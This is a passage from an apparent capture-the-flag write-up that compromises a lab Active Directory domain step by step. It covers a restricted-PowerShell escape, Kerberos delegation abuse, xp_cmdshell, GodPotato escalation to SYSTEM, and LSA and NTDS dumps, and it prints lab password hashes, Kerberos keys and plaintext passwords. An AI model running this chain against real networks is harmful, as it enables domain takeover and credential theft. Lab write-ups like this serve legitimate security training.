$ nxc ldap dc2.pong.htb -k --use-kcache --kdcHost dc2.pong.htb --active-users
LDAP        dc2.pong.htb    389    DC2              [*] None (name:DC2) (domain:PONG.HTB) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        dc2.pong.htb    389    DC2              [+] PONG.HTB\Pong_gMSA$ from ccache 
LDAP        dc2.pong.htb    389    DC2              [*] Total records returned: 16, total 2 user(s) disabled
LDAP        dc2.pong.htb    389    DC2              -Username-                    -Last PW Set-       -BadPW-  -Description-                                               
LDAP        dc2.pong.htb    389    DC2              Administrator                 2026-02-03 18:42:24 0        Built-in account for administering the computer/domain
LDAP        dc2.pong.htb    389    DC2              C.Carlssen                    2026-01-21 01:32:49 0        
LDAP        dc2.pong.htb    389    DC2              M.Sun                         2026-01-16 23:20:41 0        
LDAP        dc2.pong.htb    389    DC2              Z.Zhen                        2026-01-16 23:20:41 0        
LDAP        dc2.pong.htb    389    DC2              A.Pearson                     2026-01-16 23:20:41 0        
LDAP        dc2.pong.htb    389    DC2              P.Sanchez                     2026-01-16 23:20:41 0        
LDAP        dc2.pong.htb    389    DC2              H.Gordon                      2026-01-16 23:20:41 0        
LDAP        dc2.pong.htb    389    DC2              P.Reiner                      2026-01-16 23:20:41 0        
LDAP        dc2.pong.htb    389    DC2              C.Adam                        2026-01-16 23:20:41 4        
LDAP        dc2.pong.htb    389    DC2              R.Rupert                      2026-01-16 23:20:41 0        
LDAP        dc2.pong.htb    389    DC2              svc_sql                       2026-01-16 23:25:30 0        
LDAP        dc2.pong.htb    389    DC2              svc_print                     2026-01-16 23:25:30 0        
LDAP        dc2.pong.htb    389    DC2              svc_ldap                      2026-01-16 23:25:30 0        
LDAP        dc2.pong.htb    389    DC2              R.Martinelli                  2026-01-17 23:33:50 0

JEA restriction bypassing (pong\c.carlssen) (user)

Configure all needs then connect to the JEA enpoint and after few enumeration we found the pong\c.carlssen’s credentials in the PowerShell console history:

$ sudo pwsh -Command "Install-Module -Name PSWSMan -Force; Import-Module PSWSMan; Install-WSMan"
WARNING: WSMan libs have been installed, please restart your PowerShell session to enable it in PowerShell   

$ pwsh
PowerShell 7.5.4

PS> $jeaSession = New-PSSession -ComputerName 'dc1.ping.htb' -ConfigurationName 'restricted' -Authentication Kerberos

PS> klist
Ticket cache: FILE:Pong_gMSA$.ccache
Default principal: Pong_gMSA$@PONG.HTB

Valid starting       Expires              Service principal
04/27/2026 02:29:09  04/27/2026 12:29:09  krbtgt/PONG.HTB@PONG.HTB
	renew until 04/27/2026 02:29:09
04/27/2026 02:41:52  04/27/2026 12:29:09  krbtgt/PING.HTB@PONG.HTB
	renew until 04/27/2026 02:29:09
04/27/2026 02:41:53  04/27/2026 12:29:09  http/dc1.ping.htb@PING.HTB
	renew until 04/27/2026 02:29:09

PS> Enter-PSSession $jeaSession
[dc1.ping.htb]: PS>$PSSenderInfo

UserInfo             : System.Management.Automation.Remoting.PSPrincipal
ClientTimeZone       : 
ConnectionString     : http://dc1.ping.htb:5985/wsman?PSVersion=7.5.4
ApplicationArguments : {PSVersionTable}
ConfigurationName    : restricted
ConnectedUser        : pong\Pong_gMSA$
RunAsUser            : pong\Pong_gMSA$



[dc1.ping.htb]: PS>$($ExecutionContext.SessionState.LanguageMode)
ConstrainedLanguage



[dc1.ping.htb]: PS>Get-Command

CommandType     Name                                               Version    Source                                                                                                   
-----------     ----                                               -------    ------                                                                                                   
Function        Clear-Host                                                                                                                                                             
Function        Exit-PSSession                                                                                                                                                         
Function        Get-Command                                                                                                                                                            
Function        Get-FormatData                                                                                                                                                         
Function        Get-Help                                                                                                                                                               
Function        Measure-Object                                                                                                                                                         
Function        Out-Default                                                                                                                                                            
Function        Select-Object



[dc1.ping.htb]: PS>Get-Command *

CommandType     Name                                               Version    Source                                                                                                   
-----------     ----                                               -------    ------                                                                                                   
Alias           clear -> Clear-Host                                                                                                                                                    
Alias           cls -> Clear-Host                                                                                                                                                      
Alias           exsn -> Exit-PSSession                                                                                                                                                 
Alias           gcm -> Get-Command                                                                                                                                                     
Alias           measure -> Measure-Object                                                                                                                                              
Alias           select -> Select-Object                                                                                                                                                
Function        Clear-Host                                                                                                                                                             
Function        Exit-PSSession                                                                                                                                                         
Function        Get-Command                                                                                                                                                            
Function        Get-FormatData                                                                                                                                                         
Function        Get-Help                                                                                                                                                               
Function        Measure-Object                                                                                                                                                         
Function        Out-Default                                                                                                                                                            
Function        Select-Object  



[dc1.ping.htb]: PS>$PWD         

Path                         
----                         
C:\Users\Pong_gMSA$\Documents


[dc1.ping.htb]: PS>$HOME
C:\Users\Pong_gMSA$



[dc1.ping.htb]: PS>${C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt}
ls
ls -force
hostname
whoami
whoami /all
Get-ExecutionPolicy
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Get-Help Get-Process
Get-Process
Get-Process | Sort-Object CPU -Descending
Get-Service
Get-Service | Where-Object Status -eq "Running"
Get-Service | Where-Object StartType -eq "Automatic"
gci
gci C:\
Getchilditem \Windows
Set-Location C:\Users\
ls
cd.\Public
ls
cd C:\
gic -Recurse -ErrorAction SilentlyContinue
gci -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Filter *.log
Get-ChildItem -Recurse -Include *.txt
Clear-Host
Get-Command
Get-Command *service*
Get-Command *process*
Get-CimInstance Win32_OperatingSystem
Get-CimInstance Win32_ComputerSystem
Get-CimInstance Win32_Process
Get-CimInstance Win32_LogicalDisk
Get-CimInstance Win32_BIOS
Get-Alias
Get-History
ipconfig
ipconfig /all
ping google.com
netstat -ano
Test-NetConnection google.com
Test-NetConnection google.com -Port 443
Get-DnsClientServerAddress
Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses 8.8.8.8
tasklist
tasklist /v
ls
ls -force
Get-Process explorer
Get-EventLog -LogName System -Newest 20
Get-EventLog -LogName Application -Newest 20
Get-WinEvent -LogName Security -MaxEvents 10
Clear-EventLog -LogName Application
$env:Path
Get-PSDrive
Get-PSProvider
Get-
Get-Module -ListAvailable
Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter *
Get-ADUser -Identity Administrator
Get-ADGroup -Filter * -Server pong.htb
Getadgroup
Get-adgroup "remote management users" -server pong.htb
$c = New-object System.management.automation.pscredential("pong\c.carlssen,$(convertto-securestring -asplaintext -force "A()DUJ!@414"))
Enter-pssession -computername dc2.pong.htb -credential $c
Get-ADComputer -Filter *
Get-ADUser -Filter * | Select-Object Name
Get-ADUser -Filter * | Export-Csv users.csv -NoTypeInformation
Import-Csv users.csv
gc -raw users.csv
cd C:\Temp
Copy-Item users.csv backup_users.csv
Move-Item backup_users.csv archive_users.csv
rm -f *.csv
Get-ScheduledTask
Get-ScheduledTask | Where-Object State -eq "Ready"
Restart-Service spooler
Stop-Service spooler
Start-Service spooler
Set-Service spooler -StartupType Automatic
Get-Service spooler
Get-Process powershell
Get-Process pwsh
$PSVersionTable
Get-Host
Clear-History
Get-History
Measure-Command { Get-Process }
ForEach ($i in 1..10) { Write-Output $i }
1..10 | ForEach-Object { $_ * 2 }
1..10 | Where-Object { $_ -gt 5 }
$numbers = 1..100
$numbers | Measure-Object -Sum
$numbers | Measure-Object -Average
$numbers | Sort-Object -Descending
$numbers | Select-Object -First 10
Get-ChildItem HKLM:\Software
Get-ChildItem HKCU:\Software
Get-Command -Module Microsoft.PowerShell.Management
Save-Help -DestinationPath C:\Help
Get-PSReadLineOption
Set-PSReadLineOption -PredictionSource History
Clear-Host
iwr -useb https://github.com/fleschutz/PowerShell/blob/main/scripts/play-mission-impossible.ps1

Exit



[dc1.ping.htb]: PS>Exit-PSSession

PS> exit

Found pong\c.carlssen:A()DUJ!@414

Request a TGT:

$ impacket-getTGT 'pong.htb/c.carlssen:A()DUJ!@414' -dc-ip 192.168.2.2
$ export KRB5CCNAME=c.carlssen.ccache 
$ klist
Ticket cache: FILE:c.carlssen.ccache
Default principal: c.carlssen@PONG.HTB

Valid starting       Expires              Service principal
04/27/2026 05:48:35  04/27/2026 15:48:35  krbtgt/PONG.HTB@PONG.HTB
	renew until 04/27/2026 05:48:35

c.carlssen has CanPSRemote to DC2 then can access via WinRM then read the user flag:

$ python3 winrmexec/evil_winrmexec.py 'pong.htb/c.carlssen@dc2.pong.htb' -no-pass -k -dc-ip 192.168.2.2 -target-ip 192.168.2.2 -spn HTTP/dc2.pong.htb
PS C:\Users\C.Carlssen\Documents> cat ../Desktop/user.txt
<REDACTED>

RBCD over svc_sql (pong\c.adam | pong\p.reiner)

  • c.carlssen has GenericWrite to the service account svc_sql.
  • svc_sql has SQLAdmin rights to the DC2.

To go ahead with RBCD, we will reuse Pong_gMSA$ for the delegation principal as MachineAccountQuota is 0.

Request delegated ticket to svc_sql from Pong_gMSA$ to own the MSSQL SPN:

$ bloodyAD -d pong.htb -k --host dc2.pong.htb add rbcd svc_sql 'Pong_gMSA$'
[!] No security descriptor has been returned, a new one will be created
[+] Pong_gMSA$ can now impersonate users on svc_sql via S4U2Proxy
[+] e.g. badS4U2proxy 'kerberos+ccache://pong.htb\None:c.carlssen.ccache@dc2.pong.htb/?serverip=192.168.2.2&dc=192.168.2.2' 'HOST/svc_sql@pong.htb' 'Administrator@pong.htb'

2 domain users are members of the group DATABASE ADMINS:

  • pong.htb\c.adam
  • pong.htb\p.reiner

Impersonate c.adam on svc_sql via S4U2Proxy:

$ export KRB5CCNAME=Pong_gMSA\$.ccache 
$ impacket-getST -spn mssqlsvc/dc2.pong.htb -impersonate c.adam -k -no-pass -dc-ip 192.168.2.2 'pong.htb/Pong_gMSA$'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating c.adam
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache

Or we can also do it with p.reiner like:

$ impacket-getST \
-spn mssqlsvc/dc2.pong.htb \
-impersonate P.Reiner \
-aesKey 9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a \
-dc-ip 192.168.2.2 \
'pong.htb/Pong_gMSA$'

Then inject the ticket:

$ export KRB5CCNAME=c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache 
$ klist
Ticket cache: FILE:c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache
Default principal: c.adam@pong.htb

Valid starting       Expires              Service principal
04/27/2026 06:13:28  04/27/2026 15:42:27  mssqlsvc/dc2.pong.htb@PONG.HTB
	renew until 04/27/2026 05:42:28

Quick check if we can connect to MSSQL:

$ impacket-mssqlclient -k -no-pass -dc-ip 192.168.2.2 -target-ip 192.168.2.2 'pong.htb/c.adam@dc2.pong.htb' -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC2): Line 1: Changed database context to 'master'.
[*] INFO(DC2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (pong\C.Adam  dbo@master)> 

Confirmed.

Local privilege escalation (DC2\System)

Check our SQL role before start anything else:

$ impacket-mssqlclient -k -no-pass -target-ip 192.168.2.2 'pong.htb/c.adam@dc2.pong.htb' -windows-auth -command "select SYSTEM_USER, SUSER_SNAME(),IS_SRVROLEMEMBER('sysadmin')"
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

SQL> select SYSTEM_USER, SUSER_SNAME(),IS_SRVROLEMEMBER('sysadmin')
            
-   -   -   
1   1   1   

1 == SQL SA (sysadmin) confirmed.

Enable xp_cmdshell:

$ impacket-mssqlclient -k -no-pass -target-ip 192.168.2.2 'pong.htb/c.adam@dc2.pong.htb' -windows-auth \
-command "EXEC sp_configure 'show advanced options', 1;" \
"RECONFIGURE;" \
"EXEC sp_configure 'xp_cmdshell', 1;" \
"RECONFIGURE;"

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

SQL> EXEC sp_configure 'show advanced options', 1;
INFO(DC2): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
INFO(DC2): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;

Check the privileges:

$ impacket-mssqlclient -k -no-pass -target-ip 192.168.2.2 'pong.htb/c.adam@dc2.pong.htb' -windows-auth -command "EXEC xp_cmdshell 'whoami /all';"

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

SQL> EXEC xp_cmdshell 'whoami /all';
output                                                                                                                                                                           
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
NULL                                                                                                                                                                             
USER INFORMATION                                                                                                                                                                 
----------------                                                                                                                                                                 
NULL                                                                                                                                                                             
User Name    SID                                                                                                                                                                 
============ ==============================================                                                                                                                      
pong\svc_sql S-1-5-21-2410575906-3092493790-2123333151-1119                                                                                                                      
NULL                                                                                                                                                                             
NULL                                                                                                                                                                             
GROUP INFORMATION                                                                                                                                                                
-----------------                                                                                                                                                                
NULL                                                                                                                                                                             
Group Name                                 Type             SID                                                             Attributes                                           
========================================== ================ =============================================================== ==================================================   
Everyone                                   Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group   
BUILTIN\Users                              Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group   
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                                    Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group   
CONSOLE LOGON                              Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group   
NT SERVICE\MSSQLSERVER                     Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner       
LOCAL                                      Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group   
Authentication authority asserted identity Well-known group S-1-18-1                                                        Mandatory group, Enabled by default, Enabled group   
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                                         
NULL                                                                                                                                                                             
NULL                                                                                                                                                                             
PRIVILEGES INFORMATION                                                                                                                                                           
----------------------                                                                                                                                                           
NULL                                                                                                                                                                             
Privilege Name                Description                               State                                                                                                    
============================= ========================================= ========                                                                                                 
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled                                                                                                 
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled                                                                                                 
SeMachineAccountPrivilege     Add workstations to domain                Disabled                                                                                                 
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled                                                                                                  
SeImpersonatePrivilege        Impersonate a client after authentication Enabled                                                                                                  
SeCreateGlobalPrivilege       Create global objects                     Enabled                                                                                                  
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled                                                                                                 
NULL                                                                                                                                                                             
NULL                                                                                                                                                                             
USER CLAIMS INFORMATION                                                                                                                                                          
-----------------------                                                                                                                                                          
NULL                                                                                                                                                                             
User claims unknown.                                                                                                                                                             
NULL                                                                                                                                                                             
Kerberos support for Dynamic Access Control on this device has been disabled.                                                                                                    
NULL

We have SeImpersonatePrivilege.

Then let’s use Potato as the shortest local privilege escalation path.

$ wget -O GodPotato-NET4.exe https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe

We use c.carlssen to upload the file via WinRM and give the permission for all to read and execute it:

$ export KRB5CCNAME=c.carlssen.ccache
$ python3 winrmexec/evil_winrmexec.py 'pong.htb/c.carlssen@dc2.pong.htb' -no-pass -k -dc-ip 192.168.2.2 -target-ip 192.168.2.2 -spn HTTP/dc2.pong.htb
PS C:\Users\C.Carlssen\Documents> mkdir c:\programdata\1
PS C:\Users\C.Carlssen\Documents> !upload GodPotato-NET4.exe c:\programdata\1\godp.exe
PS C:\Users\C.Carlssen\Documents> icacls c:\programdata\1\godp.exe /grant 'Everyone:RX'
PS C:\Users\C.Carlssen\Documents> quit

Back to c.adam to execute GodPotato to escalate to nt authority\system then add c.carlssen to the local administrators group of DC2:

$ export KRB5CCNAME=c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache
$ impacket-mssqlclient -k -no-pass -target-ip 192.168.2.2 'pong.htb/c.adam@dc2.pong.htb' -windows-auth \
-command "EXEC xp_cmdshell 'c:\programdata\1\godp.exe -cmd \"cmd /c net localgroup administrators c.carlssen /add\"';"

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

SQL> EXEC xp_cmdshell 'c:\programdata\1\godp.exe -cmd "cmd /c net localgroup administrators c.carlssen /add"';
output                                                                                   
--------------------------------------------------------------------------------------   
[*] CombaseModule: 0x140720385228800                                                     
[*] DispatchTable: 0x140720387815752                                                     
[*] UseProtseqFunction: 0x140720387108384                                                
[*] UseProtseqFunctionParamCount: 6                                                      
[*] HookRPC                                                                              
[*] Start PipeServer                                                                     
[*] CreateNamedPipe \\.\pipe\0d7776ae-34d0-46a7-b31f-304add73147e\pipe\epmapper          
[*] Trigger RPCSS                                                                        
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046                                  
[*] DCOM obj IPID: 00009c02-0b74-ffff-21d2-5fe76c7afc26                                  
[*] DCOM obj OXID: 0xa2e777993a9876ba                                                    
[*] DCOM obj OID: 0x417d66894c752bd6                                                     
[*] DCOM obj Flags: 0x281                                                                
[*] DCOM obj PublicRefs: 0x0                                                             
[*] Marshal Object bytes len: 100                                                        
[*] UnMarshal Object                                                                     
[*] Pipe Connected!                                                                      
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE                                            
[*] CurrentsImpersonationLevel: Impersonation                                            
[*] Start Search System Token                                                            
[*] PID : 888 Token:0x760  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation   
[*] Find System Token : True                                                             
[*] UnmarshalObject: 0x80070776                                                          
[*] CurrentUser: NT AUTHORITY\SYSTEM                                                     
[*] process start with pid 1176                                                          
The command completed successfully.                                                      
NULL                                                                                     
NULL  

NTDS dumping (pong\r.martinelli)

Back to c.carlssen to DCSync attack to DC2:

$ export KRB5CCNAME=c.carlssen.ccache
$ nxc smb dc2.pong.htb -k --use-kcache --kdcHost dc2.pong.htb --lsa           
SMB         dc2.pong.htb    445    dc2              [*]  x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc2.pong.htb    445    dc2              [+] PONG.HTB\c.carlssen from ccache (Pwn3d!)
SMB         dc2.pong.htb    445    dc2              [*] Dumping LSA secrets
SMB         dc2.pong.htb    445    dc2              pong\DC2$:aes256-cts-hmac-sha1-96:486c88bea5be139e8a271864ac2ff0216d7ccb003b5eb61f2976071490515848
SMB         dc2.pong.htb    445    dc2              pong\DC2$:aes128-cts-hmac-sha1-96:debc5c93eb20fca6eb01887a5f2104a8
SMB         dc2.pong.htb    445    dc2              pong\DC2$:des-cbc-md5:19fbeffee3525b3e
SMB         dc2.pong.htb    445    dc2              pong\DC2$:plain_password_hex:64349515ca8aa48c1bda29023b423f5a8f46f50e2f28b37107f445781b64697dedd29b93a3b87e4acd6c624f9007a491512fce15fe7a59aacaea270c93c5c428464f0f730aebcc66bbadb36a93afa8cb82656e5ac1ab01d69bcccb030934f774bd0131135528f790883abfd3d00588a8600fd24cd722c0a4bc47ba43236d430caf04de2fc8410943e18a9a082df054429bf31043d6f69387bc43a855e3e550950054967cba3895bb36794c52aa78d2aa7e04e6e4c8adea63bd5b23146f055792c5bc3aa444abd35f2df404fff90989cfcc7fbc68f7f12174f77b454cbec13f206608970f5737350ff2ebf0acc8f440a8
SMB         dc2.pong.htb    445    dc2              pong\DC2$:aad3b435b51404eeaad3b435b51404ee:e12246a7e57232eec29791ba3273a5b9:::
SMB         dc2.pong.htb    445    dc2              dpapi_machinekey:0x3fc94174d83a1bc9db957259e29130a9e19ccbef
dpapi_userkey:0xaa394100f064e1d1a6e0ad4366e0ea391358ba52
SMB         dc2.pong.htb    445    dc2              PONG\svc_sql:This!IsAServi@ceA1231ccount

Found PONG\svc_sql:This!IsAServi@ceA1231ccount

$ nxc smb dc2.pong.htb -k --use-kcache --kdcHost dc2.pong.htb --ntds --enabled
SMB         dc2.pong.htb    445    dc2              [*]  x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc2.pong.htb    445    dc2              [+] PONG.HTB\c.carlssen from ccache (Pwn3d!)
SMB         dc2.pong.htb    445    dc2              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc2.pong.htb    445    dc2              Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b8ebfb6e9972babf9c01311748261a8:::
SMB         dc2.pong.htb    445    dc2              C.Carlssen:1110:aad3b435b51404eeaad3b435b51404ee:e15edce7e905644a94f0c34a0b05104e:::
SMB         dc2.pong.htb    445    dc2              M.Sun:1111:aad3b435b51404eeaad3b435b51404ee:deccbc15ace5cbf2d902f441783f1115:::
SMB         dc2.pong.htb    445    dc2              Z.Zhen:1112:aad3b435b51404eeaad3b435b51404ee:df023cb090b82c55e3e18e5fbc7f9bc3:::
SMB         dc2.pong.htb    445    dc2              A.Pearson:1113:aad3b435b51404eeaad3b435b51404ee:9a9250fa13ba7f4c25e1a5576f5b8a03:::
SMB         dc2.pong.htb    445    dc2              P.Sanchez:1114:aad3b435b51404eeaad3b435b51404ee:5261d93d06680fc00db5454eff3bcfc0:::
SMB         dc2.pong.htb    445    dc2              H.Gordon:1115:aad3b435b51404eeaad3b435b51404ee:2dc83c2f510d420be2bf3692e9cb7371:::
SMB         dc2.pong.htb    445    dc2              P.Reiner:1116:aad3b435b51404eeaad3b435b51404ee:6fa016af828999bda0e26861e00afb31:::
SMB         dc2.pong.htb    445    dc2              C.Adam:1117:aad3b435b51404eeaad3b435b51404ee:3dbc49f649cd0ed23ecd7d5071bcf00b:::
SMB         dc2.pong.htb    445    dc2              R.Rupert:1118:aad3b435b51404eeaad3b435b51404ee:8960e808108c23470cea0551d0399e8f:::
SMB         dc2.pong.htb    445    dc2              svc_sql:1119:aad3b435b51404eeaad3b435b51404ee:9e5de13bde362ad5cc68a49d26301c3b:::
SMB         dc2.pong.htb    445    dc2              svc_print:1120:aad3b435b51404eeaad3b435b51404ee:e21d90eb3c651f4bfdf6606a4c07ffd5:::
SMB         dc2.pong.htb    445    dc2              svc_ldap:1121:aad3b435b51404eeaad3b435b51404ee:f49491f9d40172069146a9c907e4d510:::
SMB         dc2.pong.htb    445    dc2              R.Martinelli:1124:aad3b435b51404eeaad3b435b51404ee:d60fc26a0569b953a5cebd1392232630:::
SMB         dc2.pong.htb    445    dc2              DC2$:1000:aad3b435b51404eeaad3b435b51404ee:e12246a7e57232eec29791ba3273a5b9:::
SMB         dc2.pong.htb    445    dc2              Pong_gMSA$:1123:aad3b435b51404eeaad3b435b51404ee:4b85a2a049588810c1267e4018b07a07:::
SMB         dc2.pong.htb    445    dc2              PING$:1103:aad3b435b51404eeaad3b435b51404ee:9c3d799769aa410c3a8ca5121471808a:::
SMB         dc2.pong.htb    445    dc2              [+] Dumped 19 NTDS hashes

Not interesting at this time as NTLM is totally disabled.

Let’s grab all including the kerberos keys:

$ nxc smb dc2.pong.htb -k --use-kcache --kdcHost dc2.pong.htb --ntds --kerberos-keys
SMB         dc2.pong.htb    445    dc2              [*]  x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc2.pong.htb    445    dc2              [+] PONG.HTB\c.carlssen from ccache (Pwn3d!)
SMB         dc2.pong.htb    445    dc2              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc2.pong.htb    445    dc2              Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b8ebfb6e9972babf9c01311748261a8:::
SMB         dc2.pong.htb    445    dc2              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc2.pong.htb    445    dc2              krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2850c6e9dfa66b220c3e013edbb23580:::
SMB         dc2.pong.htb    445    dc2              C.Carlssen:1110:aad3b435b51404eeaad3b435b51404ee:e15edce7e905644a94f0c34a0b05104e:::
SMB         dc2.pong.htb    445    dc2              M.Sun:1111:aad3b435b51404eeaad3b435b51404ee:deccbc15ace5cbf2d902f441783f1115:::
SMB         dc2.pong.htb    445    dc2              Z.Zhen:1112:aad3b435b51404eeaad3b435b51404ee:df023cb090b82c55e3e18e5fbc7f9bc3:::
SMB         dc2.pong.htb    445    dc2              A.Pearson:1113:aad3b435b51404eeaad3b435b51404ee:9a9250fa13ba7f4c25e1a5576f5b8a03:::
SMB         dc2.pong.htb    445    dc2              P.Sanchez:1114:aad3b435b51404eeaad3b435b51404ee:5261d93d06680fc00db5454eff3bcfc0:::
SMB         dc2.pong.htb    445    dc2              H.Gordon:1115:aad3b435b51404eeaad3b435b51404ee:2dc83c2f510d420be2bf3692e9cb7371:::
SMB         dc2.pong.htb    445    dc2              P.Reiner:1116:aad3b435b51404eeaad3b435b51404ee:6fa016af828999bda0e26861e00afb31:::
SMB         dc2.pong.htb    445    dc2              C.Adam:1117:aad3b435b51404eeaad3b435b51404ee:3dbc49f649cd0ed23ecd7d5071bcf00b:::
SMB         dc2.pong.htb    445    dc2              R.Rupert:1118:aad3b435b51404eeaad3b435b51404ee:8960e808108c23470cea0551d0399e8f:::
SMB         dc2.pong.htb    445    dc2              svc_sql:1119:aad3b435b51404eeaad3b435b51404ee:9e5de13bde362ad5cc68a49d26301c3b:::
SMB         dc2.pong.htb    445    dc2              svc_print:1120:aad3b435b51404eeaad3b435b51404ee:e21d90eb3c651f4bfdf6606a4c07ffd5:::
SMB         dc2.pong.htb    445    dc2              svc_ldap:1121:aad3b435b51404eeaad3b435b51404ee:f49491f9d40172069146a9c907e4d510:::
SMB         dc2.pong.htb    445    dc2              R.Martinelli:1124:aad3b435b51404eeaad3b435b51404ee:d60fc26a0569b953a5cebd1392232630:::
SMB         dc2.pong.htb    445    dc2              DC2$:1000:aad3b435b51404eeaad3b435b51404ee:e12246a7e57232eec29791ba3273a5b9:::
SMB         dc2.pong.htb    445    dc2              Pong_gMSA$:1123:aad3b435b51404eeaad3b435b51404ee:4b85a2a049588810c1267e4018b07a07:::
SMB         dc2.pong.htb    445    dc2              PING$:1103:aad3b435b51404eeaad3b435b51404ee:9c3d799769aa410c3a8ca5121471808a:::
SMB         dc2.pong.htb    445    dc2              [*] Kerberos keys:
SMB         dc2.pong.htb    445    dc2              Administrator:aes256-cts-hmac-sha1-96:eb76ed05ee09e812ac2b1328f5b846afeafe69f9a1ba13f94f50ab3d8d524559
SMB         dc2.pong.htb    445    dc2              Administrator:aes128-cts-hmac-sha1-96:3ca116fdd0d280d751be4efee3eeea7b
SMB         dc2.pong.htb    445    dc2              Administrator:des-cbc-md5:25ab7c5498ef6df1
SMB         dc2.pong.htb    445    dc2              krbtgt:aes256-cts-hmac-sha1-96:6282e2af4ca8f5ca935f84d03b486f2e6cc2a9b5c87fb0637a4449a44a8cd5f8
SMB         dc2.pong.htb    445    dc2              krbtgt:aes128-cts-hmac-sha1-96:f1dc39ca727289c857163fb606b5aa41
SMB         dc2.pong.htb    445    dc2              krbtgt:des-cbc-md5:6702c7679d2949ef
SMB         dc2.pong.htb    445    dc2              C.Carlssen:aes256-cts-hmac-sha1-96:1fc4a69c646ad7fe6537eedf7d08e55c93143cf4dd32ec1d27fcd9d007cb78ba
SMB         dc2.pong.htb    445    dc2              C.Carlssen:aes128-cts-hmac-sha1-96:69ba981c227f43ae62ce4ce3f60389f4
SMB         dc2.pong.htb    445    dc2              C.Carlssen:des-cbc-md5:648c5e25761973c7
SMB         dc2.pong.htb    445    dc2              M.Sun:aes256-cts-hmac-sha1-96:653c8cb750f25f9d74c0477616e542d5430cf6bee994b50161cf5d52f3bedfd0
SMB         dc2.pong.htb    445    dc2              M.Sun:aes128-cts-hmac-sha1-96:8f07ec02fc56a32150d23fd0dbc353a3
SMB         dc2.pong.htb    445    dc2              M.Sun:des-cbc-md5:105ea16e20762aa2
SMB         dc2.pong.htb    445    dc2              Z.Zhen:aes256-cts-hmac-sha1-96:208f13a06970095f1edd7942478afd6d34f3b3ccddcae627fdfc00c1b22502b8
SMB         dc2.pong.htb    445    dc2              Z.Zhen:aes128-cts-hmac-sha1-96:b89193e73905053e95fb2ad3b340cfdb
SMB         dc2.pong.htb    445    dc2              Z.Zhen:des-cbc-md5:1c8a257962dccdb5
SMB         dc2.pong.htb    445    dc2              A.Pearson:aes256-cts-hmac-sha1-96:537543f5f783db4a10f4df73e87ec7df9c692df7d970e3ee4be08c76fa53d5e7
SMB         dc2.pong.htb    445    dc2              A.Pearson:aes128-cts-hmac-sha1-96:a3a9b0fa5a8dab39c2971bab470386a7
SMB         dc2.pong.htb    445    dc2              A.Pearson:des-cbc-md5:3becd6ae4a26bf89
SMB         dc2.pong.htb    445    dc2              P.Sanchez:aes256-cts-hmac-sha1-96:12fb2b9eb168304707d6ef260269445089928f2861a8f58e54fea85e9ab5309e
